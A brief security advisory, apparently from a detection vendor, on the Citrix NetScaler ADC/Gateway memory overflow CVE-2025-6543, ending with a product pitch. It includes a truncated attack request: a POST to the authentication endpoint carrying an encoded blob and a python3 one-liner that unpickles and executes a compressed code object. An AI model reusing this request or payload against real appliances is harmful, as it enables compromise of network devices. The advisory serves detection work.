Citrix NetScaler ADC and NetScaler Gateway Denial of Service (CVE-2025-6543)

Appliance Details

NetScaler ADC is a network appliance switch providing numerous functionalities such as data switching, load balancing, optimization, firewall security, packet flow, and policy infrastructure.

Vulnerability

A vulnerability has been discovered in NetScaler ADC and NetScaler Gateway.

Identification

Memory overflow vulnerability leading to unintended control flow and Denial of Service in NetScaler ADC and NetScaler Gateway when configured as Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) OR AAA virtual server.

POST /nf/auth/getAuthenticationRequirements.do

DioxubQOfwukYbFcxZdXyrFPKB1HW0HHStTm9TwH3FlYVuHFOW1J+D4iea0es6+62sIOsZgZ/weLDQLJIoL4Qj3V7WQWs9DmDeAzOaApKj5ncV/blpXyc2KClEIMnIDdy/var/python/bin/python3 -c import types,pickle,zlib,base64;types.FunctionType(types.CodeType(*pickle.loads(zlib.decompress(base64.b85decode(. . . . .

Detection

By turning this into a traffic file and matching rule, we are able to detect denial of service attempts.

Coverage

Idappcom have created signature 8026277 along with a traffic file for this vulnerability.

References

citrix

tenable

NIST

CVE-2025-6543

Traffic IQ

If you are concerned that your business may be at risk of this vulnerability or others why not try out our Traffic IQ software which can scan your defences and report any issues. Learn more here: https://www.idappcom.co.uk/traffic-iq-professional